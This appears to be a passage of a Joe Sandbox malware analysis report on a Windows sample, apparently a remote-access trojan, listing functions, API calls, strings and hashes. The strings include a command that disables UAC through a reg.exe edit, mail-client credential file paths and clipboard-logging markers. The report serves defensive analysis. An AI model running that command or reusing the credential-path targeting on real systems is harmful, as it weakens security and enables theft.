                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: Enum$InfoQueryValue
                                                                                            • String ID: [regsplt]$TG
                                                                                            • API String ID: 3554306468-170812940
                                                                                            • Opcode ID: a89fa755db5786d9347274ee684c63d60c51a8a226fcbbab997cef31d131e7b3
                                                                                            • Instruction ID: eeb20da9b05a32976bf12a6402f5e40020a9f6991e42d7db5c0f7bae6a1218cc
                                                                                            • Opcode Fuzzy Hash: a89fa755db5786d9347274ee684c63d60c51a8a226fcbbab997cef31d131e7b3
                                                                                            • Instruction Fuzzy Hash: C5511E72108345AED310EF61D985DEFB7ECEF84704F00492EB585D2191EB74EA088BAA
                                                                                            Function 00441C91 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 133COMMON
                                                                                            Download Yara Rule
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID: E
                                                                                            • API String ID: 0-2089609516
                                                                                            • Opcode ID: 06f5741e10c63ae8bf02417847894b944428abddfdd2a378d9b946abe0f64cd5
                                                                                            • Instruction ID: 88518833c1d7008d36d723bd78668d328a40e80baed6ee8e3f57c0ed0377fbed
                                                                                            • Opcode Fuzzy Hash: 06f5741e10c63ae8bf02417847894b944428abddfdd2a378d9b946abe0f64cd5
                                                                                            • Instruction Fuzzy Hash: FE413AB1A00704BFE7249F39CC41BAABBA8EB84718F10412FF405DB291D379A9418788
                                                                                            Function 0041AA28 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 90COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 0041265C: RegOpenKeyExW.ADVAPI32(80000001,00000400,00000000,00020019,?), ref: 0041267E
                                                                                              • Part of subcall function 0041265C: RegQueryValueExW.ADVAPI32(?,0040E18D,00000000,00000000,?,00000400), ref: 0041269D
                                                                                              • Part of subcall function 0041265C: RegCloseKey.ADVAPI32(?), ref: 004126A6
                                                                                              • Part of subcall function 0041B366: GetCurrentProcess.KERNEL32(?,?,?,0040C914,WinDir,00000000,00000000), ref: 0041B377
                                                                                              • Part of subcall function 0041B366: IsWow64Process.KERNEL32(00000000,?,?,0040C914,WinDir,00000000,00000000), ref: 0041B37E
                                                                                            • _wcslen.LIBCMT ref: 0041AB01
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: Process$CloseCurrentOpenQueryValueWow64_wcslen
                                                                                            • String ID: .exe$http\shell\open\command$program files (x86)\$program files\
                                                                                            • API String ID: 3286818993-4246244872
                                                                                            • Opcode ID: 91537cc37855c4d4d30a4d4a060cf2929123fb739607bd98f20b22aa84b26542
                                                                                            • Instruction ID: 944f249e3467cd2310196e71108a033bc811508d99a3a404dc4e3305fa2889c9
                                                                                            • Opcode Fuzzy Hash: 91537cc37855c4d4d30a4d4a060cf2929123fb739607bd98f20b22aa84b26542
                                                                                            • Instruction Fuzzy Hash: 8621A772B001042BDB04B6B58C96EFE366D9B84318B10087FF452B71D3EE3C9D554269
                                                                                            Function 100011EA Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 90COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 10001E89: lstrlenW.KERNEL32(?,?,?,?,?,100010DF,?,?,?,00000000), ref: 10001E9A
                                                                                              • Part of subcall function 10001E89: lstrcatW.KERNEL32(?,?,?,100010DF,?,?,?,00000000), ref: 10001EAC
                                                                                              • Part of subcall function 10001E89: lstrlenW.KERNEL32(?,?,100010DF,?,?,?,00000000), ref: 10001EB3
                                                                                              • Part of subcall function 10001E89: lstrlenW.KERNEL32(?,?,100010DF,?,?,?,00000000), ref: 10001EC8
                                                                                              • Part of subcall function 10001E89: lstrcatW.KERNEL32(?,100010DF,?,100010DF,?,?,?,00000000), ref: 10001ED3
                                                                                            • GetFileAttributesW.KERNEL32(?,?,?,?), ref: 1000122A
                                                                                              • Part of subcall function 1000173A: _strlen.LIBCMT ref: 10001855
                                                                                              • Part of subcall function 1000173A: _strlen.LIBCMT ref: 10001869
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1422485768.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1422450831.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1422485768.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_10000000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: lstrlen$_strlenlstrcat$AttributesFile
                                                                                            • String ID: \Accounts\Account.rec0$\Data\AccCfg\Accounts.tdat$\Mail\$\Storage\
                                                                                            • API String ID: 4036392271-1520055953
                                                                                            • Opcode ID: 09c536ecd907401b0aa489f333ca62d314ebad464b807bf11bf7235871964734
                                                                                            • Instruction ID: e2b7c7e1c3038021adfe9ab266432482c710e64fc4cfb1bae4cfd9c1521b4980
                                                                                            • Opcode Fuzzy Hash: 09c536ecd907401b0aa489f333ca62d314ebad464b807bf11bf7235871964734
                                                                                            • Instruction Fuzzy Hash: 4B21D579E142486AFB14D7A0EC92FED7339EF80754F000556F604EB1D5EBB16E818758
                                                                                            Function 0040AE58 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 87COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 00433724: EnterCriticalSection.KERNEL32(00471D18,?,00476D54,?,0040AE8B,00476D54,?,00000000,00000000), ref: 0043372F
                                                                                              • Part of subcall function 00433724: LeaveCriticalSection.KERNEL32(00471D18,?,0040AE8B,00476D54,?,00000000,00000000), ref: 0043376C
                                                                                              • Part of subcall function 00433AB0: __onexit.LIBCMT ref: 00433AB6
                                                                                            • __Init_thread_footer.LIBCMT ref: 0040AEA7
                                                                                              • Part of subcall function 004336DA: EnterCriticalSection.KERNEL32(00471D18,00476D54,?,0040AEAC,00476D54,00456FA7,?,00000000,00000000), ref: 004336E4
                                                                                              • Part of subcall function 004336DA: LeaveCriticalSection.KERNEL32(00471D18,?,0040AEAC,00476D54,00456FA7,?,00000000,00000000), ref: 00433717
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: CriticalSection$EnterLeave$Init_thread_footer__onexit
                                                                                            • String ID: [End of clipboard]$[Text copied to clipboard]$TmG$XmG
                                                                                            • API String ID: 2974294136-1855599884
                                                                                            • Opcode ID: 6de120569122cc518c13edfa7cadebe783311817f27724836e3352dbf3ce7a6b
                                                                                            • Instruction ID: 2623299308dd9d50029d580546b1e3590cd03a5acc49d0be8ee118f943746456
                                                                                            • Opcode Fuzzy Hash: 6de120569122cc518c13edfa7cadebe783311817f27724836e3352dbf3ce7a6b
                                                                                            • Instruction Fuzzy Hash: FB216131A102155ACB24FB65D8929EE7775AF54318F10403FF506772E2EF3C6E4A868D
                                                                                            Function 0041CC2A Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 54registryCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • RegisterClassExA.USER32(00000030), ref: 0041CC77
                                                                                            • CreateWindowExA.USER32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,000000FD,00000000,00000000,00000000), ref: 0041CC92
                                                                                            • GetLastError.KERNEL32 ref: 0041CC9C
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: ClassCreateErrorLastRegisterWindow
                                                                                            • String ID: 0$MsgWindowClass
                                                                                            • API String ID: 2877667751-2410386613
                                                                                            • Opcode ID: 2bfcb1dee2ed81dd37ad325623522de50802513b554cdfc95296743f6fff5b81
                                                                                            • Instruction ID: c9edb97a89f7ec8dfbaa779d36c224b53f51aa00da94833f787b12e8c600820c
                                                                                            • Opcode Fuzzy Hash: 2bfcb1dee2ed81dd37ad325623522de50802513b554cdfc95296743f6fff5b81
                                                                                            • Instruction Fuzzy Hash: 2001E9B1D1021DAF8B00DF9ADCC49EFFBBDBE49355B50452AE414B6100EB708A458AA5
                                                                                            Function 004069BA Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42processCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • CreateProcessA.KERNEL32(C:\Windows\System32\cmd.exe,/k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f,00000000,00000000,00000000,08000000,00000000,00000000,?,?), ref: 00406A00
                                                                                            • CloseHandle.KERNEL32(?), ref: 00406A0F
                                                                                            • CloseHandle.KERNEL32(?), ref: 00406A14
                                                                                            Strings
                                                                                            • C:\Windows\System32\cmd.exe, xrefs: 004069FB
                                                                                            • /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f, xrefs: 004069F6
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: CloseHandle$CreateProcess
                                                                                            • String ID: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f$C:\Windows\System32\cmd.exe
                                                                                            • API String ID: 2922976086-4183131282
                                                                                            • Opcode ID: 76fab65495b0fd8f7af94722782b38f5ec20939b495d63d65361185c7f15ad50
                                                                                            • Instruction ID: 0865c4136dfbb59e32125d892e445ee09242962a1e3dc4bc305b740a121ed375
                                                                                            • Opcode Fuzzy Hash: 76fab65495b0fd8f7af94722782b38f5ec20939b495d63d65361185c7f15ad50
                                                                                            • Instruction Fuzzy Hash: 68F090B690029D7ACB20ABD69C0EECF7F3CEBC5B11F01046ABA04A2051DA706104CAB8
                                                                                            Function 004427E9 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,0044279A,?,?,0044273A,?,0046EAF0,0000000C,00442891,?,00000002), ref: 00442809
                                                                                            • GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0044281C
                                                                                            • FreeLibrary.KERNEL32(00000000,?,?,?,0044279A,?,?,0044273A,?,0046EAF0,0000000C,00442891,?,00000002,00000000), ref: 0044283F
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: AddressFreeHandleLibraryModuleProc
                                                                                            • String ID: CorExitProcess$mscoree.dll
                                                                                            • API String ID: 4061214504-1276376045
                                                                                            • Opcode ID: 263cd25904221f4c100099ecbb428eb8354416072efb1e7fc04c1483da550fa7
                                                                                            • Instruction ID: e557d05a47d06e8d32a7f66c2c4e22cdfb14d47a79db446b90f8ad9ee3cbc836
                                                                                            • Opcode Fuzzy Hash: 263cd25904221f4c100099ecbb428eb8354416072efb1e7fc04c1483da550fa7
                                                                                            • Instruction Fuzzy Hash: 8CF0A430900309FBDB119F94DD09B9EBFB4EB08753F4041B9F805A2261DF789D44CA98
                                                                                            Function 10004B39 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,10004AEA,?,?,10004A8A,?,10012238,0000000C,10004BBD,00000000,00000000), ref: 10004B59
                                                                                            • GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 10004B6C
                                                                                            • FreeLibrary.KERNEL32(00000000,?,?,?,10004AEA,?,?,10004A8A,?,10012238,0000000C,10004BBD,00000000,00000000,00000001,10002082), ref: 10004B8F
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1422485768.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1422450831.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1422485768.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_10000000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: AddressFreeHandleLibraryModuleProc
                                                                                            • String ID: CorExitProcess$mscoree.dll
                                                                                            • API String ID: 4061214504-1276376045
                                                                                            • Opcode ID: 497ca4813dea5db040ed96ba3988917c23aad912c76c67efd82f8c60daebc881
                                                                                            • Instruction ID: e6e2f78cdd7cd30bdf2d4d174718ae12991e9b6ae5ca6a82eaba56a43cf4d13d
                                                                                            • Opcode Fuzzy Hash: 497ca4813dea5db040ed96ba3988917c23aad912c76c67efd82f8c60daebc881
                                                                                            • Instruction Fuzzy Hash: C8F03C71900218BBEB11AB94CC48BAEBFB9EF043D1F01416AE909A6164DF309941CAA5
                                                                                            Function 00404AB1 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 35synchronizationCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,004755B0,00414F47,00000000,00000000,00000001), ref: 00404AED
                                                                                            • SetEvent.KERNEL32(00000304), ref: 00404AF9
                                                                                            • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00404B04
                                                                                            • CloseHandle.KERNEL32(00000000), ref: 00404B0D
                                                                                              • Part of subcall function 0041A891: GetLocalTime.KERNEL32(00000000), ref: 0041A8AB
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: Event$CloseCreateHandleLocalObjectSingleTimeWait
                                                                                            • String ID: KeepAlive | Disabled
                                                                                            • API String ID: 2993684571-305739064
                                                                                            • Opcode ID: 87b3d8b3ec28cdfa47286890c680b6ef87dd714ebeb2c7092d66f3d4d30662f2
                                                                                            • Instruction ID: 7c4d48bbaa8a7164c3353f7df4ad5523490a6ea0f3ebe4e46dcacb08dafaa92a
                                                                                            • Opcode Fuzzy Hash: 87b3d8b3ec28cdfa47286890c680b6ef87dd714ebeb2c7092d66f3d4d30662f2
                                                                                            • Instruction Fuzzy Hash: 31F096B19047007BDB1137759D0B66B7F58AB46325F00096FF492A26F2DE39D8508B5E
                                                                                            Function 0041C07A Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 26COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetStdHandle.KERNEL32(000000F5,00000000,?,?,?,?,?,?,0041C10D), ref: 0041C084
                                                                                            • GetConsoleScreenBufferInfo.KERNEL32(00000000,?,?,?,?,?,?,?,0041C10D), ref: 0041C091
                                                                                            • SetConsoleTextAttribute.KERNEL32(00000000,0000000C,?,?,?,?,?,?,0041C10D), ref: 0041C09E
                                                                                            • SetConsoleTextAttribute.KERNEL32(00000000,?,?,?,?,?,?,?,0041C10D), ref: 0041C0B1
                                                                                            Strings
                                                                                            • ______ (_____ \ _____) )_____ ____ ____ ___ ___ | __ /| ___ | \ / ___) _ \ /___)| | \ \| ____| | | ( (__| |_| |___ ||_| |_|_____)_|_|_|\____)___/(___/ , xrefs: 0041C0A4
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: Console$AttributeText$BufferHandleInfoScreen
                                                                                            • String ID: ______ (_____ \ _____) )_____ ____ ____ ___ ___ | __ /| ___ | \ / ___) _ \ /___)| | \ \| ____| | | ( (__| |_| |___ ||_| |_|_____)_|_|_|\____)___/(___/
                                                                                            • API String ID: 3024135584-2418719853
                                                                                            • Opcode ID: 1559ced9db44309d12e9096fc874ef99716f3117c459c374921cc59209bdbdc6
                                                                                            • Instruction ID: f27d36e20d2a67c690befc106ea5cafab99e09d075a2dfca7d32a9b7008c9529
                                                                                            • Opcode Fuzzy Hash: 1559ced9db44309d12e9096fc874ef99716f3117c459c374921cc59209bdbdc6
                                                                                            • Instruction Fuzzy Hash: 57E04F62604348BBD30037F6AC4EDAB3B7CE784617B10092AF612A01D3ED7484468B79
                                                                                            Function 004403AA Relevance: 7.7, APIs: 5, Instructions: 222COMMONLIBRARYCODE
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: 2a796732182faefe73add1043189caf6ca4f606f7631d49291716b08cb320153
                                                                                            • Instruction ID: 7c1105064789ab48ae90d42f937b6a9cbc34ac1ed42c20d541c6d1c3f1a57216
                                                                                            • Opcode Fuzzy Hash: 2a796732182faefe73add1043189caf6ca4f606f7631d49291716b08cb320153
                                                                                            • Instruction Fuzzy Hash: 7671D371900216AFEF20CF54C884ABFBB75EF45310F14422BEA15A7281DB788C61CFA9
                                                                                            Function 004432A8 Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: _free
                                                                                            • String ID:
                                                                                            • API String ID: 269201875-0
                                                                                            • Opcode ID: c6d5326bb826bef7d4312f682f8fd03de73532d4ef60da68ba97a8c78ea7af64
                                                                                            • Instruction ID: 036c3dfb054a6f01566e3cd8d28730a68c174e79056a6e67996f15c63748089b
                                                                                            • Opcode Fuzzy Hash: c6d5326bb826bef7d4312f682f8fd03de73532d4ef60da68ba97a8c78ea7af64
                                                                                            • Instruction Fuzzy Hash: F341D636A002049FEB20DF79C881A5EB7B5FF88718F1545AEE915EB351DA35EE01CB84
                                                                                            Function 004500E3 Relevance: 7.6, APIs: 5, Instructions: 110COMMONLIBRARYCODE
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,0043E5FD,?,00000000,?,00000001,?,?,00000001,0043E5FD,?), ref: 00450130
                                                                                            • __alloca_probe_16.LIBCMT ref: 00450168
                                                                                            • MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 004501B9
                                                                                            • GetStringTypeW.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00439BCF,?), ref: 004501CB
                                                                                            • __freea.LIBCMT ref: 004501D4
                                                                                              • Part of subcall function 00446D0F: RtlAllocateHeap.NTDLL(00000000,00434613,?,?,00437437,?,?,?,?,?,0040CD5A,00434613,?,?,?,?), ref: 00446D41
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: ByteCharMultiWide$AllocateHeapStringType__alloca_probe_16__freea
                                                                                            • String ID:
                                                                                            • API String ID: 313313983-0
                                                                                            • Opcode ID: daed02162d7f278869bfaea3c7a8f88d5c2a2d3218cc1490f903801f97ac0c2c
                                                                                            • Instruction ID: d7464a72994917abc30d80f71ec8451e4cba9cf5435b4dea42e63c5c2bdc5daf
